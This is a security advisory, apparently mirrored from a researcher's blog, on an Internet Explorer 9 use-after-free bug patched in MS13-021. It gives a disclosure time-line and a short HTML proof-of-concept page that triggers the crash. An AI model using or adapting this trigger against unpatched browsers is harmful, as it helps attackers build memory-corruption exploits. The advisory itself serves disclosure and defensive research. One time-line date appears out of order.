Microsoft Internet Explorer 9 - IEFRAME CView::EnsureSize Use-After-Free (MS13-021)

🗓️ 16 Dec 2016 00:00:00Reported by SkylinedType

Microsoft Internet Explorer 9 use-after-free vulnerability in IEFRAME CView::EnsureSiz

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Source: http://blog.skylined.nl/20161216001.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.

Details

This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability in their advisory. I have included a number of reports created using a predecessor of BugId below.

Repro.html:
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<!DOCTYPE html>
<html>
  <head>
    <script defer>
      var oElement = document.getElementById("ruby");
      var oElement = oElement.parentNode.removeChild(oElement);
      document.write("<abbr></abbr>");
      document.documentElement.offsetTop;
      setTimeout("location.reload()", 100);
    </script>
  </head>
  <body>
    <abbr dir="ltr">
      <ruby id="ruby" dir="rtl">
      </ruby>
    </abbr>
  </body>
</html>

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Time-line

Sometime in October 2012: This vulnerability was found through fuzzing.
29 October 2012: This vulnerability was submitted to EIP.
27 November 2013: This vulnerability was rejected by EIP.
14 January 2013: This vulnerability was submitted to ZDI.
6 February 2013: This vulnerability was acquired by ZDI.
13 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
29 May 2013: This vulnerability was address by Microsoft in MS13-021.
16 December 2016: Details of this vulnerability are released.
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16 Dec 2016 00:00Current

7High risk

Vulners AI Score7

Microsoft Internet Explorer 9 - IEFRAME CView::Ensure­Size Use-After-Free (MS13-021)

Microsoft Internet Explorer 9 - IEFRAME CView::EnsureSize Use-After-Free (MS13-021)